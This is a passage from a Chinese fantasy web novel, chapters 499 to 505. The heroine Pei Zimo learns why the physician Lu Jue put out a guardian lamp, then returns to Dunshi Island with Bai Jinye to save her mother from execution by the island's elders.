感到有人过来,陆绝也转过头,盯着裴子墨看了好一会,他隐隐地感觉到她身上有熟悉的气息,可那丝气息太微弱,他完全认不出面前的人。 “陆神医,好久不见。”裴子墨往前走了几步,看着他陌生的眼神,也明白他是没认出来自己,于是也没有卖关子,直接道,“上次你重伤萧尺寒,说你有账要跟我算,一晃过去这么久了,有什么账,也可以算了。” 陆绝眯眼看着裴子墨半响,才道,“你是裴清歌?” 第499章 他连自己的命都守不住! 裴子墨笑了笑,“以前是。” “怪不得。”陆绝像是忽然明白了什么,他早就知道裴清歌不过是裴家一个毁了容的女儿,怎么可能会什么术法?况且后来他也调查过,裴清歌在未到王府之前,可什么都不会,如今倒是说得通了。 “是什么帐?”裴子墨便继续问,“我应该也没做过什么伤害你的事,但你怎么好像对我有深仇大恨一样?” 陆绝没有说话,只是又重新转身看向寺庙的方向。 裴子墨又往前走了几步,走到陆绝的旁边,但是也跟他保持了一些距离,“我上次来的时候,这里有个老和尚,那会老和尚已经油尽灯枯,圆寂前,因说与我有些缘分,也指点了我一些事情。” “他还说,他曾有个徒弟,后来那徒弟因为做错了一些事,死了。他一辈子呆在这里,想要赎罪,只可惜那滔天大罪,尤其是他念十几年佛能赎回来的?” “那些事与他无关。”陆绝拧眉开口道。 裴子墨转头看向他,轻笑了一声,“他有眼无珠,收了个没良心的徒弟,又岂是一点错都没有?” “你懂什么?”陆绝重新看向裴子墨,像是想要说什么,但是唇角微微动了动,又把话咽了回去。 “所以,你其实是他的徒弟是么?”裴子墨垂下眼,接着道,“他说他亲手杀了那徒弟,可终究还是不忍心,是么?” “他不懂!他根本就不懂!”陆绝垂在身侧的手握成拳头,“他以为他在这里守着天下苍生,可他其实什么都守不住!他连自己的命都守不住!” “他以为他做的事情有多伟大,可根本就没人知道!永远都不会有人知道!他在这里清修一辈子,他付出的一切,在别人眼里,却是动动手指就能摧毁的东西!” 裴子墨轻轻皱了下眉头,隔了会才问,“怎么,你是想说,你并没有被荣华富贵迷了眼,是有人用他的生命来威胁你,所以你才帮他们灭了长明灯?在你眼里,任何人的生命都不及你师父,只要他能活着,你就算杀尽天下人,也不觉得自己是错的,是么?” “这些,跟你没关系么?”陆绝转头看向裴子墨,眼底带着一抹恨意。 裴子墨抬眼看向废墟,之前她忽略了一件事,一直以为这处瘟神蜮的触发,真的与西夜国有关,那时裴姝在策划围北之战,触发月城的瘟神蜮,就可以让天风国一起出兵。 可是昨晚在见到和月涵的时候,她突然意识到,裴姝手上的,只是西夜国瘟神蜮的布局图,她并没有天风国瘟神蜮的布局图。 就算她以西夜国的那份布局图来推算天风国的布局图,也不可能在短短的时间内推算出来并且得以验证。 不能否认的是裴姝当时一定也想着触发天风国的瘟神蜮,并且在月城的瘟神蜮触发后,她也以为是自己的人做到了,所以之前才没有否认这件事与她无关。 很显然,应该是有人从中做了手脚,并且让陆绝发现了什么,他现在才会这么问,才会一直对她恨之入骨。 片刻后,裴子墨才开口道,“你现在不是我的对手,无论当初是因为什么,总之是你灭了长明灯,害死了月城所有的人。你师父的骨灰也在此处,他当时不舍得杀你,我现在送你去见他,就算让你们师徒团圆了。” “你可以什么都不说,我也许现在不知道,但以后总会知道,到时候你无论是有多少委屈都好,都只能到地府那边去跟你师父诉苦了。” “但若是你现在愿意把你知道的事情说出来,也许……说不定我们是有共同的敌人。” 陆绝眯起眼,冷笑一声,“你现在说的冠冕堂皇,好像什么都不知道一样,以为就能撇开所有的干系了?” 顿了顿,他又道,“你装作不知道,但发生的事情永远都抹不掉。”他说着看向废墟中间,当年他师父便逼问他是否有苦衷,他那时怕给他和他师父惹来杀身之祸,不敢说实话,只能说是收了西夜国的钱财,如今,师父已经死了,他也没什么可怕的了。 “当年西夜国确实有人在四处寻找天风国的瘟神蜮,可他们根本没有头绪。后来有两个人,把西夜国的那些人带到这里,带到了我面前。那几个西夜国的人,已经没了神智,目光发直呆滞,一直木然地重复着要找瘟神蜮的话。” “我将来要接替我师父守灯,自然明白他们说的是什么。带他们来的那两个人,藏在袍子里,看不见脸,但我也知道,他们身上没有一丝生气,他们不是活人,可也不是尸体傀儡,这些年,我都想不通他们的身份。” “他们说,月城就是一处瘟神蜮,让我去把长明灯灭掉。我一开始自然不同意,他们便以我师父的性命要挟,他们所露出的术法能力,显然足以杀死我和我师父,确实,我师父于我来说,就是一切,任何人死了我都不在意,但是我师父不能死。” “他们也答应我,即便瘟神蜮被触发,我和我师父都不会受此影响。”陆绝说着顿了顿,“后来那几个西夜国的人就离开回去复命了,我也是无意中听到那两个人提到什么转世、裴家、嫡女一类的话,他们提到这个人的时候,语气之中全是恭敬,就像是下属对主子一般。” “长明灯灭了之后,瘟神蜮爆发,我师父确实没有收到波及,他不忍心杀我,打了我一掌,就让我离开了。而我,从那天开始,无论年龄如何增长,样貌都没有变化,甚至也感觉不到自己在变老,像是一切都固定在了我熄灭长明灯的那天。” “后来裴姝找到了我,让我去白锦夜的身边,再后来,阴差阳错,裴靖的嫡女裴清歌成了王妃……我开始明白,这些事冥冥之中全都有联系。” “虽然我不清楚这联系到底是什么,但是跟你一定脱不开干系!” 第500章 你的意思我得找地府寻仇了? 裴子墨眯了下眼,“你的意思是说,这里其实也在瘟神蜮覆盖的范围内,但是你师父和你都没死?” “长明灯自然要镇在瘟神蜮之上,这里才是瘟神蜮的本源所在,瘟神蜮一旦触发,周围的城池都会收到波及,只不过这附近只有月城,不然当时死的人肯定更多。”陆绝开口道,“所以瘟神蜮触发,最先死的,其实就应该是我师父和我。” “这世上,不需要什么逆天的术法就可以改变别人寿命的,只有地府的人。”裴子墨开口道,“那两个人,应该是鬼差。” 陆绝轻轻皱起眉头,如果那两个人是鬼差的话,那他们身上气息的事情就可以解释了。 裴子墨垂下眼,在地府之中,知道她所安排的事情的人,可不多。 她也没办法跟陆绝解释太多,只是说,“地府那边的安排,跟裴清歌有关系的可能性不大,裴清歌本身不会术法,寿命早在毁容之时便已经到了尽头。我虽然会术法,但是月城出事的时候,我也还没有到天风国来。他们当时提到这个,或许只是一个巧合。” “你若是因此对我有敌意,恐怕也只是白白浪费时间。” 陆绝冷哼一声,“你这一句话,就把矛头指向了地府,怎么?你的意思是我得找地府算账了是么?” “这世上的瘟神蜮不只是这一处,多年以前,我就在安排人解决这世上所有的瘟神蜮。去西夜国解决瘟神蜮的,就是裴姝。她曾经因为一己私利,触发过几处瘟神蜮,不过剩下的,大部分都解决掉了。” “不久之前,我曾放出过千余年前那个‘神阵公’的魂魄,他也把剩下的阵法都加固了,暂时应该不会有太大的问题。至于地府当年为什么要横插一脚,我现在也给不了你答案。”裴子墨看向陆绝,“你若是非要找我寻仇,我也可以现在废了你一身术法,封印你的记忆,你从此就什么都不知道了。” “又或者,你愿意像你师父一样,想办法给自己赎罪,也不是不可以。他终生在这诵佛,你有一身医术,本可以做更多的事情,没必要把时间都浪费在这种事上。” 说完,裴子墨也不打算多留,转身要走,走了两步,她想起什么,才继续道,“既然你们都知道长明灯在瘟神蜮之上,可你和你师父都没事,你师父也没杀你,我想他未必不知道什么。只不过人死灯灭,有些事没必要一定得分个是非黑白,多做些对得起自己良心的事,就够了。” 陆绝看着裴子墨的背影,张了张嘴,最终还是一个字都没说,又转头看向面前的废墟。 裴子墨下山的时候,正好碰上白锦夜过来找她。 “这么快就下山了?”白锦夜勒停了马,调转马头,跟裴子墨一起往回走。 “本来还想着多呆会,结果遇到了许久没见的人。”裴子墨开口道。 “嗯?”白锦夜转头往山上看了看,“这里会有什么熟人?” “陆绝。”裴子墨说着顿了顿,把老和尚和陆绝的事简单地跟白锦夜说了一遍。 “怪不得。”白锦夜轻声道,“当年陆绝就是一直在这月城附近,看样子也是因为这里离他师父很近,我们在月城的时候,他也经常上山采药,也许采药的时候,还能偷偷地看看他师父,多少也能照顾一些。” 裴子墨对这件事没有发表什么评论,只是说,“如果当年瘟神蜮的事情跟地府也有关系,那我倒是有一种猜测。”她说着看向前方,“因为遁世岛改变人的气运,所以可能导致很多人的生老病死出了变化,地府要找人填上这些空缺,但一一去做又太麻烦了,而他们知道了瘟神蜮的事,便从中做手脚,让人触发瘟神蜮。” 她叹了口气,手握着缰绳也跟着紧了紧,“瘟神蜮的事,他们应该是从我这里的知道的,甚至于布置图,也是从我这里拿到的。” 她转头看向白锦夜,“遁世岛那边的事,要抓紧了,地府有地府运作的规律,他们也不会乱来,只要没有遁世岛,一切回归正轨,地府也就不会再做什么。” “月城这边暂时应该也没什么事了。”白锦夜别开眼,心虚的没有跟裴子墨对视,“不过本来还以为能在月城多停留些日子。” 裴子墨在想事情,也就没有注意到白锦夜的异常,隔了会才道,“但我们这次离开,就没办法带着裴子衿的女儿了,那孩子也还没有取名字。”她说着叹了口气,“在这月城之中,已经成家的几个将军里,可有合适的、能暂时抚养这孩子的?” 白锦夜想了会才道,“那也就只有倪君羡了,他的妻儿都在月城之中,儿子刚刚两岁。倪徵的夫人也在月城,可以帮忙带孩子。” “那便好。”裴子墨点点头,“这件事就交给你了。” * 之前和月涵给这些人下的毒,倒也不是什么厉害的毒药,大多是通过气味进入身体,是一种慢性毒药。 而且现在时间很短,药效很低,基本上没人觉察到异常。 裴子墨配好了解药,让华擎散发下去。 他拿着解药离开的时候,白锦夜也从倪家回来。 之前对外他没有否认这孩子是他的女儿,但是既然要放在倪家抚养,他也就简单地说了这孩子的身世,不过也只说是故人之女,如今他和裴子墨要出去办事,不方便把孩子带在身边,暂时放在倪家。 又说最多在倪家养到十岁,之后便会来接走。 裴子墨说过这孩子身上有杀劫,白锦夜也看得出来,这杀劫就在十岁生辰之后,他也不想倪家因为这孩子遭难,所以在那之前,肯定要把这孩子接走。 倪家人从上到下自然都表示会把这孩子当做亲生女儿一样疼爱,让白锦夜放心。 这些事情都办妥,白锦夜又带着裴子墨在月城转了两圈,便出发先往楚江颠走。 鬼卿还在那,裴子墨想要在去遁世岛之前,把阳元丹交给他,也算是了了她的一桩心事。 第501章 无边业火 鬼卿拿到阳元丹,依旧没有吃。 裴子墨也没有勉强,只是说,“以你现在的术法,即便不是冥尸之身,也不会老去,况且冥尸对你本身的术法又有些限制。”她说着看了看白锦夜,“你和他不一样,他本就游走阴阳二界,冥尸恰好可以锁住他身上的阳气。” 鬼卿垂眼看着地面,没有说话。 “不过选择权也在你。”裴子墨顿了顿,继续道。 “你们之后打算去哪?”鬼卿没说自己的想法,而是开口问道,他心里清楚,如今他大概是没有什么再能帮上裴子墨的了,之后她去哪里,去做什么,恐怕也都不会带着他了。 “我们先去遁世岛,总要先把这件事解决掉。”裴子墨倒也没有隐瞒,她说着又拿出了几道符纸递给鬼卿,“但还有一件事,要你去做。” 鬼卿眼睛一亮,赶紧问道,“什么事?” “这是我跟那位大师要的,能把无边业火从地府引上来的符咒。”裴子墨叹了口气,“楚星玄那个便宜师父当年应该就是想要去拿这个来解决幻雾蛊,可惜了……幻雾蛊在人世间总归是个麻烦,你就去一趟血域,想办法引出幻雾蛊,然后彻底解决吧。” “好。”鬼卿接过符纸应了下来。 “这几张符纸都是能引出无边业火的。”裴子墨继续道,“情况我跟那位大师说过,无边业火出现都是有目标的,这几张符纸引出的无边业火也都是针对幻雾蛊,只要幻雾蛊一死,无边业火就会消失,也不会伤害到其他人。他一共就给了我这几张,但我想他应该也不是随便给的,这数量估计刚好够用。” “你放心。”鬼卿点点头,“我会处理好。” “之后……你处理好幻雾蛊之后,去看看阿鸢吧。”裴子墨又道,“很久没有她的消息了。” 鬼卿垂下眼,隔了一会才应了一声。 “走吧。”裴子墨说着往外走。 她和鬼卿走了出去,白锦夜落在后面。 裴子墨转头看他,见他蹲下来,认真地跟面前的几只兔子说话。 那些兔子从岛上跟着他们上了船,又在马车上跟到了月城,白锦夜是本来想把这些兔子留在月城的,可是他们出发的时候,兔子又跟了上来。 他只好找了个笼子装着这些兔子,又带到了楚江颠。 鬼卿轻咳了一声,压低声音,“他什么时候……养了这么一群兔子?” 裴子墨忍不住笑了笑,恐怕白锦夜自己也很无奈吧。 不过这一次那些兔子像是听懂了白锦夜的话,只是跟到了院子门口,就没有再往前跟,都站在院子门口,看着他们离开。 “这里应该挺安全的。”裴子墨开口道,“不过过几年回来,这里大概就都是兔子了。” 鬼卿有些嫌弃地看了白锦夜一眼,总觉得他哪里怪怪的,可又说不出来。 从楚江颠出来,三个人便分两路,鬼卿往血域那边走,裴子墨和白锦夜则是往遁世岛走。 裴子墨多少也有些唏嘘,兜兜转转这么多年,一直都想要躲开遁世岛,也不想再回来,可没想到,如今还是要回到遁世岛来解决一切。 两个人刚出发没多久,黑袍人就送了裴子衿回来,找到他们汇合。 黑袍人打不开黄泉路,自然没办法把裴子衿送上岛,可是遁世岛的人也经不住有个术法极高的人,每日在外面以攻击他们的阵法。 最后迫于无奈,几个长老出来查看,黑袍人直接把裴子衿扔给他们就走了。 若是几个长老知道对方只是为了送裴子衿回来,他们早就出来接了,如今被破坏了这么多阵法,没有大长老和九长老,他们想要修补,可就难了。 等问清了裴子衿缘由,这笔账自然又记在了裴子墨的头上。 从楚江颠出发,到遁世岛,差不多用了两个月。 两人到了遁世岛范围边缘,白锦夜正要打开黄泉路的时候,却见到前面的迷雾里飘出来一艘船。 那船也没有人在划,就是在随着海风摇摆。 裴子墨微微皱了下眉头,示意黑袍人朝那艘船靠过去。 靠得近了,才见到船上是两个人。 这两个人也不陌生,正是裴子衿和凌锦枫,不过此刻他们都是昏迷状态。 裴子衿的气息倒还正常,凌锦枫的气息却是极其微弱。 他们又逃出来了?裴子墨拧了拧眉,对他们还能再逃出来这件事,多少存疑,凌锦枫估计是不可能再帮着裴子衿了,而裴子衿才刚回来,估摸着还在被严密的监控之中,又怎么可能跑得出来? 白锦夜也皱起眉头,跳到对面的船上,他弯腰检查了一下两个人,随即把裴子衿带了回来。 裴子墨看了一眼躺在那一动不动,但是身下已经一大滩血的凌锦枫,知道他是回天乏术了。而且从迷雾里飘出来的时候,凌锦枫的身上就已经没有魂魄的气息了,这会就算是他的伤能治,没有魂魄,也没有任何意义了。 而白锦夜刚刚回来,那边凌锦枫的气息就彻底的消失了。 白锦夜抬眼看向对面的船,一阵风飘过来,那船又被吹远了些。 他叹了口气,手上捏了几个印诀,那船上顿时就起了火。 他以前,对这个二哥的记忆就不是很多,小时候所有人都在一起玩,可他这个二哥性格多少有些阴郁,从来不跟大家一起玩,总是躲在很远的地方偷看他们。 回到家里面,也是呆在角落里,就连吃饭的时候,都很少凑到桌子上来。 他们的大哥能言善道,这样一对比起来,二哥的存在感就更低。 再加上他后来常常跑去找裴子墨,跟凌锦枫之间,便再也没有任何交集了。 只不过,曾经到底也是兄弟一场,如今见他这个下场,多少有些唏嘘。 裴子墨唤醒了裴子衿。 她刚一睁开眼睛的时候,眼底全是惊恐,甚至想要跳船离开,等看清站在她面前的是裴子墨的时候,才终于松了一口气。 “发生什么事了?”裴子墨拧眉问道,“你怎么又和凌锦枫逃出来了?” 第502章 死了好 听到凌锦枫这个名字,裴子衿打了个激灵,左右看了看,可不见凌锦枫,也不见他们逃出来时乘坐的船,便赶紧问,“凌锦枫呢?” “死了。”裴子墨开口道。 “死了?!”裴子衿怔了一下,隔了会才说,“死了好,死了好……” 她把这三个字低声反反复复地念叨了好多遍,然后才抬起头,看向裴子墨,“你们怎么会在这?”她说着转头看了看身后不远处的迷雾,“你们要回遁世岛?” 裴子墨没有回答她的话,只是问,“遁世岛发生什么事了?” 裴子衿像是想了会,低声喃喃地道,“娘,应该是娘,应该是她……”说完,她整理了好一会思绪,终于理顺了,才开口道,“我回到遁世岛之后,就被关了起来,长老们对怎么处置我,一直没有一个定论。” “凌锦枫告诉了他们我曾经怀孕的事情,他们就逼问我那孩子的下落。我也不知道他们为什么那么执着于那个孩子的下落,不过既然他们有想从我身上知道的事情,那我就还有一线生机,我知道我若是说出孩子的下落,可能就没命了,况且……我也确实不知道孩子现在在哪。” “但时间一久,他们就已经失去了耐心。和后来那天晚上,是小娘把我放了出来,让我逃走。可遁世岛就这么大,都在长老们的控制之下,我就算是逃,又能逃到哪去?” “小娘说,让我往后山上逃,她说那山里面,有很多地方是那些长老们都不会去的地方,在遁世岛,没有什么地方比后山更安全了。” “我也没有别的办法,只能往那里面逃。可偏偏……被凌锦枫发现,他跟了上来,他倒是没有暴露我行踪的打算,只是一直跟着我,还要求我跟他……” 裴子衿的手握成拳头,捶了一下地面,“我想活下来,就我只能顺从他。他满足之后,会跟着我一起往前走,路上也会照顾我。” “听他说,好像是五长老预测到……”她抿了抿唇,看向裴子墨,“预测到你生了他的孩子,所以他们才没有因为他离开遁世岛的事情追责。他虽然因为这件事才保住一条命,但是也一直指责我当时给他下药。” “他还说,那些长老们虽然把他留下来,但是也不知道打了什么主意,他总感觉不像是什么好事,所以就想跟我一起逃走,逃的越远越好。” “本来如果只是我自己走了,估计那些长老们也不会费力找我,但就像凌锦枫说的,那些长老们一定在打什么主意,就特别着急的找凌锦枫。哪怕我们已经深入后山,他们也穷追不舍。” “前几天,他们也终于追上了我们。看那些长老们的意思,大概就是杀了我,把凌锦枫带回去。但是……突然有一个蒙面人出现,把我和凌锦枫带走,送上了船。” “只是上船之后,凌锦枫不知道突然发了什么疯,给那些长老们报信,还挟持了我,并不想离开。蒙面人把凌锦枫打成了重伤,控制着他打开了黄泉路,把我们送了出来。我们离开的时候,我看到那些长老们已经赶到了。” “我恨凌锦枫,是他毁了我,如果不是他……” 说到这,后面的话裴子衿没有说出来,如果不是凌锦枫,她就还是遁世岛岛主家的二小姐,根本不用想着这些事,等长老们把裴子墨和凌锦夜抓回来,她只需要安心的等着跟凌锦夜成亲就好了。 可是凌锦枫把一切都毁了。 她再也不可能等到凌锦夜,甚至为了活下来只能委身凌锦枫。 上了船以后,她看到凌锦枫重伤,自然就动了杀心。 不过凌锦枫也拼死还击了一下,她才会晕过去。 可凌锦枫到底的是凌锦夜的哥哥,况且如今她在裴子墨的手里,是死是活都是裴子墨一句话的事,她也不可能再重提自己和凌锦夜的婚事,以及……说出她还对凌锦夜抱有什么期望的话。 斟酌了下,她也就没有把后面她对凌锦枫下杀手的事说出来,“姐,那个人蒙面人,是个女人,我感觉她应该就是娘。自从你离开遁世岛之后,我只是在前些年见过娘,后来就再也没有见过,所以我不是很确定是不是她。” “但她送我上船之前,说让我出来找你,再也不要回遁世岛,我感觉……应该是她。” “那些长老们已经找到了娘,也不知道娘是不是他们的对手,现在会怎么样,姐,你……你快回去救她吧!” 裴子墨眯眼看着裴子衿,倒是分辨不出来她说的是真话还是假话,不过无论她说的是什么,他们都要进遁世岛。 她抬眼看了看白锦夜,白锦夜点点头,指挥着黑袍人把船开到迷雾的旁边,他则是引出了黄泉路。 裴子墨这才重新看向裴子衿,像是随意地道,“那孩子你是故意留在外面的?” 裴子衿抿了抿唇,半响才道,“我虽然算卦的本事不精,但是我也大概算出,我的活路在这孩子的身上。” 裴子墨轻笑一声,只是说,“倒是也没白学。”顿了顿她才又问,“那个女人为什么要把你放出去?” “你说小娘?”裴子衿轻轻摇了摇头,“我也不清楚,她只是说让我快走,说她听到爹爹和长老们的对话,大概是不打算留我了。” 裴子墨轻轻眯了眯眼,没再说话。 船进了迷雾,裴子墨往前走了几步,拉住白锦夜的手。 白锦夜也转头看她,虽然已经过去了很久很久,可重新走这条路,便又想起当年他们从这里逃出来的情景。 他把手抽出来,抬手抱住裴子墨,“时间过得可真快,没想到还有回来的这一天。” 裴子墨笑了笑,他们离开的时候,术法远不如现在,那时候一心逃命,也没仔细看过这周围,现在看看,在这大雾之中行船,倒是别有一番感觉。 在他们身后的裴子衿,目光死死地盯在白锦夜抱着裴子墨的手上。 手也攥住了旁边的缰绳,眼里充满了恶毒。 第503章 你还敢回来! 到了遁世岛,裴子衿死活不想下船,“姐,我就在船上等你们吧。” “那怎么行?万一娘真的出了什么危险,又是因为救你,你好意思躲在船上么?”裴子墨说着挥了挥手,示意黑袍人抓住裴子衿,“再说,把你留在船上我也不放心,万一有人来找你麻烦,你不见得是对手,就算没人来,我也怕你把我的船开走呢。” 裴子衿挣扎了一下,可她根本不可能是黑袍人的对手,就只能被他抓着跟着裴子墨他们往前走。 这一路上都没有什么人,裴子墨眯了眯眼,直接往遁世岛最中心的广场那边走。 走近了才见到很多人都围在广场那里。 广场中间已经架起了木堆和绞架,一个女人被绑在绞架上。 几个长老站在不远处的高台上,似乎在说着什么。 “娘!”裴子墨眯了眯眼,就要冲过去,却被白锦夜一把拉住,她不解地转头看他,却见他轻轻摇了摇头。 裴子墨微微怔了一下,明白了他的意思,他们现在想要去救人很简单,但她娘逃走这么多年,被这些长老找到之后,就立马要烧死,这里面肯定是有隐情,她可毕竟是岛主夫人,就算岛主没有实权,但就这么烧死,也总得有个光明正大的理由。 他们隐藏了气息,慢慢接近,靠近高台的时候,才终于听到二长老有些气急败坏的声音,“你到底把不把东西交出来?!” 看样子这情况已经对峙了好一会,估摸着二长老从苦口婆心好言相劝到了现在毫无耐心直接逼问了。 裴意冷笑着看着高台之上,“裴松呢?他怎么不出来?难道都不想在我死前再见我一面么?”说完她又对着人群喊道,“裴松,别人都忘了,难道你也忘了么?你入赘我裴家,连姓都改了,你以为从此以后,你就真的能代表裴家了么?” 裴子墨微微皱了一下眉头,她倒是从不知道这件事,她只记得以前,裴松唤她娘的时候,都是叫“阿意”,至于其他人,唤一声“岛主夫人”或者“裴夫人”,在他们家里,她娘的名字似乎确实是个从来不会有人提起的禁忌,原来这背后竟然还有这样的事情。 “裴夫人,你和岛主的事,是你们家事,你们家事如何我们我们自然是不便插手的,你若是想活,就把东西交出来,不然……”凌霄开口道,“大家到底相识一场,也不愿见你丧身火海,再说,咱们两家本就有婚约,将来婚事上,你若是缺席,那也不好看不是?” 裴意显然也不吃凌霄这套,“不是已经有新的岛主夫人了么?我是不是缺席,恐怕也没什么人在意。”说完她又看向人群之中,“裴松,你身为遁世岛岛主,就甘愿当个缩头乌龟么?真的不打算现身么?” 她的话音落下,依旧不见裴松的身影。 不过人群中倒是有些骚动,片刻后,一个穿着月白衣服的女子走了出来。 裴子衿靠在裴子墨耳边低声道,“那个就是小娘。” 裴子墨转头看了她一眼,没有说话。 月白衣服的女子走到广场中间,停在裴意的面前,低声对她说了许久的话,裴意像是也没有理会,她自己倒是越说越动情,甚至哭了出来,最后双腿一弯,跪在裴意的面前,声音也隐隐地传了出来—— “姐姐,夫君也是迫于无奈,只要你愿意回头,愿意把东西拿出来,我可以……我可以带着我的孩子离开,再也不出现在你面前。不过……我真的没有想要破坏你和夫君的想法,你永远是裴夫人,是岛主夫人,我从来都没有想过要取代你的位置。” “哎。”白锦夜轻叹了一声,“这种事情,真是在哪里都有。”他说着把裴子墨的手握得更紧,“一个家里,本来就不该出现其他人。” 裴子墨轻轻眯了眯眼,低声问,“你说,他们让我娘交出来的,到底是什么?”说完她又转头看向裴子衿,“你知不知道是什么?” 裴子衿赶紧摇了摇头,“我怎么会知道?我要是知道的话,也不会……被凌锦枫欺负了。” 二长老这会像是终于等烦了,见裴意还是不为所动,便叫人去把月白衣服的女子拉开,随后开口道,“这是我最后一次问你,要不要把东西交出来,不交我可就要点火了。” 裴意朝二长老的方向啐了一口,“当年你们大长老都没能从我这把东西拿走,如今换成你,你觉得你比他更厉害了么?” 这一句话,更是激怒了二长老,“我是没有大哥厉害,不过当年你从他的手上逃脱,如今却是要死在我的手里!”说完他就下令点火。 “等一下!”三长老文子山开口阻止,随后才看着二长老低声道,“真的要这么做么?如果这一把火烧下去……” 二长老抬手打断他的话,继续高声道,“点火!” 自从他接任大长老的位置之后,虽然众人表面上没有说什么,可是他心里清楚,这些人都还是不太服气的。除了大长老以外,他们剩下的人,术法水平基本上都差不多,若是他不能马上立威,那这些人早晚都会想要跟他争一争。 而眼下,处理裴意的事情,就是他立威的最好时机! 这一次二长老的话音落下,立刻就有人上前点了火。 只不过火才刚刚烧起来一点,就迅速的熄灭了。 点火的人还以为是火油出了问题,又淋上了一些火油,再重新点火,可火还是没有烧起来。 二长老只以为是裴意做了手脚,眯了眯眼,一道火符就扔了过去。 那火符还没等落在木堆之上,就被一阵风吹了回来,在二长老面前爆开。 还好他防御得及时,不然恐怕人已经在大火之中了。 等面前的火和烟雾散去,二长老便见到裴意的面前多了一个人—— 裴子墨正抬头笑吟吟地看着他。 二长老下意识地往后退了一步,随即才反应过来什么,高声斥道,“裴子墨,你还敢回来!” 第504章 除非这世上永远没有遁世岛! 裴子墨轻笑了一声,“我有什么不敢回来的?这遁世岛规定了我出去之后就不能再回来么?” 她说着想了想,又道,“我想起来了,遁世岛倒是规定不能擅自离岛,否则只有死路一条。所以这么多年,你们一直在外面追杀我。可惜了,耗费了那么多人力都没能杀得了我,甚至就连大……” “裴子墨!”二长老赶紧制止裴子墨的话,之前他们对外宣称,是大长老和九长老合力镇压了裴子墨,在阵法没有稳固之前,他们都没办法回遁世岛。 那时他们也根本没想过裴子墨会来遁世岛,而岛上的人只要不出去,这个谎言就永远不会被拆穿。 哪知道这才过了多少日子,裴子墨就出现了! 接替大长老位置的,正是他的儿子,他这会见到裴子墨,心里便有了不太好的预感,他曾经也算过卦,卦象确实显示大长老活着,只不过被困住无法脱身,倒是跟二长老所说的一致。 可若是大长老和九长老在镇压裴子墨,如今裴子墨出来了,那他们的下场可想而知。 大长老的儿子上前一步,低声问道,“二叔,裴子墨是从困阵里逃出来了么?那我爹和九叔……不会出什么危险吧?” 二长老的脸色变了变,没有理会他,目光一直死死地盯着裴子墨,“以前你能逃脱,那都是因为我们念在师徒情分上,才没有对你下杀手。但是你既然不知好歹,现在送上门求死,那正好今日可以让你们母女一起上路!” 裴子墨没有理他,挥了挥手,禁锢裴意的铁链便全部散开,她上前扶住裴意,“娘,你怎么样?有没有受伤?” 裴意看着她,摇了摇头,可目光却一直盯着她舍不得离开。 “那我们走。”裴子墨扶着她,往外面走。 二长老眯了眯眼,如果此刻让裴子墨带着裴意走了,那他就颜面扫地,从此都不可能再抬起头来! 可他一个人,想起之前大长老和九长老的事,也不敢贸然上前,轻咳了一声才对着其他人道,“既然她回来了,这一次,咱们兄弟就齐心协力,给大哥和老九报仇吧。”说完便从高台之上跃下。 他都已经这么说了,其他人自然不可能置身事外,便也都纷纷跃下。 二长老又高声让之前看热闹的人全都散开,免得误伤。 几位长老在遁世岛的地位极高,二长老一发话,看热闹的人便全都散去了。 白锦夜等人也没办法在人群中隐匿,干脆就直接走到了裴子墨的身边。 凌霄眯眼看着白锦夜,“锦夜,你现在迷途知返,还来得及,我会跟几位长老求情,看在你被裴子墨蛊惑的份上,不会追究你的过错。” “迷途知返?”白锦夜轻笑一声,“离开遁世岛之后,我投胎转世这么多次,若真是误入迷途,那恐怕也再都找不到回头的路了。更何况,我也不认为自己做错了什么。倒是你,是不是应该好好反思下,别人都儿孙绕膝,你看看你,身边还有什么亲人?” 凌霄脸色一僵,“你说的什么混账话?” “应该是你过得什么混账日子!”白锦夜直接厉声道,“就因为你可以游走阴阳两界,所以你从不把生死当回事,认为只要魂魄还在,只要能唤起记忆,就可以当做什么事都没有发生过。但并不是所有人都像你一样,你是我爹的那一世,我已经过完了,已经结束了,你对我有生养之恩,但是你也利用我做了不少事。” “如今就算两清了,我不想追问你当初为什么要让我去子墨身边,不追究你在我魂魄里放了冥蛉,不责怪因为你让我们受苦那么多世,你也别再以你是我爹的身份跟我说话,我现在跟你没有任何的关系。” “你……你……”凌霄抬手指着白锦夜,气得脸色发白,还想说什么,可是到了嘴边的话,却瞬间卡住。 不是因为他被气得话都说不出来,而是他感觉到了白锦夜身上的气息。 正因为他们两个都能游走阴阳,他对气息极为敏感,尤其是对透过地府而来的阴气,而白锦夜此刻给他的气息的感觉,完全在他之上。 他上次见到白锦夜的时候,白锦夜身上所带的地府的气息还平平无奇。 虽然他给了他“神冥公”一族修炼的法门,但是那些也都是出自他手,他是把很多修炼的方法都记载了下来,但是有些重要的秘诀还是没有传出来,那是他安身立命的根本,即便是自己的儿子、自己的族人,他也不愿意传下去。 除非哪一天,他真的快要死了,必须要把这个位置让出来的时候,为了保证“神冥公”一脉的延续,他才可能把这些最厉害的术法传出来。 所以在目前的情况下,“神冥公”一脉之中,不可能有人的术法比他高。 可白锦夜却做到了! 这显然不可能只是单纯的修习了“神冥公”一脉的术法。 凌霄心里一抖,一个裴子墨已经够他们头疼了,以前他们之所以敢把白锦夜放在她身边,就是因为他有足够的自信,在任何时候都能控制住白锦夜。 但如今…… 凌霄收回手,没再说话,甚至趁着众人不太注意,还往后退了几步,躲在了其他人身后。 文子山轻轻地叹了一口,语气也算温和,“子墨,既然回来了,大家坐下来好好谈一谈,你的诉求,我们未必不能满足,何至于闹到现在这个地步?” 裴子墨看向他,她自然知道“神阵公”镇压瘟神蜮的事情,若真是能好好聊一聊,他大概也是愿意支持她的,只不过,有他一个人,可也远远不够。 沉默了会,她才道,“已经过了这么多年,能好好谈一谈的时候,早就过去了。就算退一万步,真的能谈,我让你们解散遁世岛你们愿意么?这话,上次见面的时候,我已经对二长老他们说过了,想要我停手,除非世上永远没有遁世岛!” 第505章 是人就会生老病死 文子山皱了皱眉,没再说话。 他上次已经见过“神算公”了,对裴子墨要做的事情,自然知道得一清二楚。 他现在开口,也只不过是想要尝试一下,对于他开口的结果,他早就有答案。 裴子墨不会答应,而裴子墨的条件,二长老他们同样不会答应。 凌霄和文子山开口说话的时候,二长老也冷静了下来。 裴子墨的目的,之前已经说过了,但是解散遁世岛,是完全不可能的事情。 他回来之后,就想起来大长老曾经提过的,裴意的手上,有一个神器,那是在仙器之上的存在,这也是裴家这么多年,能和“十一公”齐名存在的根基。 只不过裴家到了裴意这一代,直系就剩下裴意一个人,剩下的全都是旁系。 当年裴松入赘裴家之后,就改了姓。 裴意也无心家族之中的事情,所有的事便都交给了裴松打理。 